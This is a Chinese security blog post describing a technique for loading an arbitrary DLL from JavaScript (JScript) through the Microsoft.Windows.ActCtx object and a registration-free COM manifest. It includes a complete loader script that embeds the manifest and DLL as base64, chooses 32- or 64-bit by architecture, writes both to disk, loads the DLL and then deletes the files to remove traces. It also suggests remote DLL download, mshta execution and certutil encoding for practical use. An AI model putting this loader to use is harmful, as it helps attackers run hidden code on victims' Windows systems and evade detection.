剑走偏锋,JavaScript脚本动态加载DLL

版权声明: https://blog.csdn.net/qq_39783851/article/details/80841702

目前网上公布通过JavaScript等脚本加载DLL动态链接库的方法有2种,一种是利用Excel.Applicationobject's RegisterXLL()进行DLL加载,另一种是James Forshaw开源的工具DotNetToJScript,这2种方式都非常巧妙,但是也存在一定的缺陷,就是必须确认目标主机安装了Office(Excel)组件或者.NET Frameword,关于这两种利用方法请参考文档最后链接。


为了尝试绕过这些限制,我无奈只能询问Google,功夫不负有心人,搜索结果反馈我微软提供了一个对象(Microsoft.Windows.ActCtx Object),该对象可以加载一个不需要注册的COM组件(动态链接库的一种),详细描述请参考https://msdn.microsoft.com/en-us/library/aa375644(VS.85).aspx

抱着一切不以实战出发的技术研究都是虾扯蛋的原则,咱们直接进入正题。

这次主要利用Microsoft.Windows.ActCtx对象的Manifest属性,该属性指定了一个Manifest文件名,Manifest文件的主要作用是用于绑定和激活COM类、接口和库的相关信息,在XP及以后的Windows系统中,系统在执行EXE可执行文件时会首先读取Manifest文件,获得EXE文件需要调用的DLL列表(此时获得的,并不直接是DLL文件的本身的位置,而是DLL的Manifest),操作系统再根据DLL的Manifest文件提供的信息去寻找对应的DLL。

微软msdn上的一个配图比较直观地描述了这一过程:

在Windows系统中,如果应用程序指定了组件依赖关系,则程序启动时首先在WinSxS文件夹中查找共享组件,若未找到,则在程序安装目录下查找私有组件。

在大部分的情况下,组件的查找顺序如下所示:

1)WinSxS文件夹

2)\\<appdir>\<assemblyname>.DLL

3)\\<appdir>\<assemblyname>.manifest

4)\\<appdir>\<assemblyname>\<assemblyname>.DLL

5)\\<appdir>\<assemblyname>\<assemblyname>.manifest

更详细的描述可以查看msdn中的AssemblySearching Sequence。

首先通过VisualStudio 2010编写一个简单的DllDemo,该DLL的主要功能弹出测试窗口。

 

然后编写一个JavaScript文件,

var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx");

actCtx.Manifest = "WindowsScriptHostExtension.manifest"; // ①

try{

         var DX = actCtx.CreateObject("WindowsScriptHostExtension"); // ②

}

catch(e){

}

①  代表Manifest文件名,可以带绝对路径(推荐该方式),但请注意路径格式,可采用的路过格式为

actCtx.Manifest = "C:\\jsloadDll\\WindowsScriptHostExtension.manifest";

actCtx.Manifest = " C:/jsloadDll/WindowsScriptHostExtension.manifest";

如果文件名不带绝对路径,则加载可能失败,因为和程序运行时的环境变量有关。

例如双击运行loader.js,通过ProcessMonitor监控可以发现wscript.exe能正确找到manifest文件。

但是通过命令行下调用cscript.exe执行(路径为C:\WINDOWS\SYSTEM32),则查找manifest文件失败。


②  CreateObject的名称必须和Manifest文件中的progid值一样即可。

最后再编写一个Manifest文件:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">

<file name="WindowsScriptHostExtension.dll">      <!-- ① -->

<comClass

         description="DynamicWrapperX Class"

         clsid="{CE794ABE-C0AA-474E-8EEC-3EAAFA88F1CE}"

         threadingModel="Both"

         progid=" WindowsScriptHostExtension"/>  <!-- ② -->

</file>

</assembly>

①  与Manifest关联的DLL文件名,注意此处如果采用绝对路径将会失败。



②  progid值必须和JavaScript文件中CreateObject的值一致。

现在总结一下研究过程中遇到的问题:

(1)    因为路径的问题导致加载DLL失败;

这个通常出现在Manifest文件file字段中name值的设置错误原因,经过测试为了更适用于Windows XP至最新的Win 10操作系统,强烈推荐文件名前加上 ./ 或.\ (例如./4dogs.dll或.\4dogs.dll),然后将DLL模块和JavaScript文件放置于同一目录下即可。


(2)    因为动态链接库的版本不确定原因(无法正确识别32位和64位宿主程序)导致加载DLL失败;

测试中如果宿主程序(例如wscript.exe或cscript.exe)是64位,而我们放置的DLL模块是32位,则会加载失败,同理32位宿主也无法加载64位的DLL模块。

为了更加准确的判别宿主程序版本,可以通过一段JavaScript脚本实现:

// 识别操作系统

var oShell = new ActiveXObject("WScript.Shell");

var oUserEnv = oShell.Environment("Process");

var colVars = new Enumerator(oUserEnv);

var platform = oUserEnv("PROCESSOR_ARCHITECTURE");

if (platform == "AMD64")

         // bala bala bala;

else

         // bili bili bili bili;

(3)    子文件太多,作为一个实战派,我们应当尽量将功能集中在一个文件中完成,类似于James Forshaw开源的DotNetToJScript,设计思路是将Manifest和DLL文件”封装”在JavaScript代码中,运行后动态释放到JavaScript文件目录下,并且在执行完毕后可以清理DLL模块和Manifest文件,具体请参考loader.js代码。

// Base64解码函数

function base64decode(base64str, binary_file_save_path)

{

         var xml = WScript.CreateObject("Microsoft.XMLDOM");

         var node = xml.createElement("base64-node");

         node.dataType = "bin.base64";

         node.text = base64str;

         var binary_data = node.nodeTypedValue;

         var sw = new ActiveXObject("ADODB.Stream");

         sw.Type = 1; // binary

         sw.Open();

         sw.Write(binary_data);

         sw.SaveToFile(binary_file_save_path);

         sw.Close();

};

// Manifest文件

var base64ManifestHead = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KPGFzc2VtYmx5IHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgbWFuaWZlc3RWZXJzaW9uPSIxLjAiPg0KPGZpbGUgbmFtZT0iLi9XaW5kb3dzU2NyaXB0SG9zdEV4dGVuc2lvbi54"; // Manifest文件前段

var base64ManifestEnd = "iPg0KPGNvbUNsYXNzDQoJZGVzY3JpcHRpb249IkR5bmFtaWNXcmFwcGVyWCBDbGFzcyINCgljbHNpZD0ie0NFNzk0QUJFLUMwQUEtNDc0RS04RUVDLTNFQUFGQTg4RjFDRX0iDQoJdGhyZWFkaW5nTW9kZWw9IkJvdGgiDQoJcHJvZ2lkPSJXaW5kb3dzU2NyaXB0SG9zdEV4dGVuc2lvbiIvPg0KPC9maWxlPg0KPC9hc3NlbWJseT4="; // Manifest文件后段

var Manifest;

var DLL32 = "bilibilibili"; // 32位DLL动态链接库文件base64编码后的内容

var DLL64 = "balabalabala"; // 64位DLL动态链接库文件base64编码的内容

var DLLName, DLLBin;

// 识别操作系统

var oShell = new ActiveXObject("WScript.Shell");

var oUserEnv = oShell.Environment("Process");

var colVars = new Enumerator(oUserEnv);

var platform = oUserEnv("PROCESSOR_ARCHITECTURE");

if (platform == "AMD64")

{

         Manifest = base64ManifestHead + "NjQ" + base64ManifestEnd;

         DLLName = "./WindowsScriptHostExtension.x64";

         DLLBin = DLL64;

}

else

{

         Manifest = base64ManifestHead + "MzI" + base64ManifestEnd;

         DLLName = "./WindowsScriptHostExtension.x32";

         DLLBin = DLL32;

}

// 释放Manifest和DLL模块

base64decode(Manifest, "./WindowsScriptHostExtension-test.manifest");

base64decode(DLLBin, DLLName);

// 加载DLL

var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx");

actCtx.Manifest = "./WindowsScriptHostExtension-test.manifest";

try{

         var DX = actCtx.CreateObject("WindowsScriptHostExtension");

}

catch(e){

}

// 删除Manifest文件

try{

         fso = new ActiveXObject("Scripting.FileSystemObject");

         var f1 = fso.getfile("./WindowsScriptHostExtension-test.manifest");

         f1.Delete();

}

catch(e){

}

// 删除DLL模块文件

try{

         fso = new ActiveXObject("Scripting.FileSystemObject");

         var f1 = fso.getfile(DLLName);

         f1.Delete();

}

catch(e){

}

上述代码大部分取自于互联网,可能有处理不足的地方,请自行修补。

关于最后一些想说的:

1) 利用Manifest的方式加载Dll通用性较强,可从WindowsXP到Win 10(32位和64位)均通用。

2) 利用方式应该不单单只有这些,比如可以通过远程下载DLL的方式来减少JavaScript文件大小,或配合mshta等其它宿主程序来执行JavaScript代码,希望有更多的大犇能共享其它利用技巧。

3) 该方式也适用于vbs。

4) 获取DLL模块base64编码的快速方式是利用certutil程序,命令如下:

certutil -encode bin.dll Encode.txt

然后去除头部和尾部的注释部分,替换掉换行符号即可。

参考文档:

https://3gstudent.github.io/3gstudent.github.io/Use-Excel.Application-object's-RegisterXLL()-method-to-load-dll/

https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/

本文为四维创智原创文章,如需转载或刊登,请注明原文出处。


猜你喜欢

转载自blog.csdn.net/qq_39783851/article/details/80841702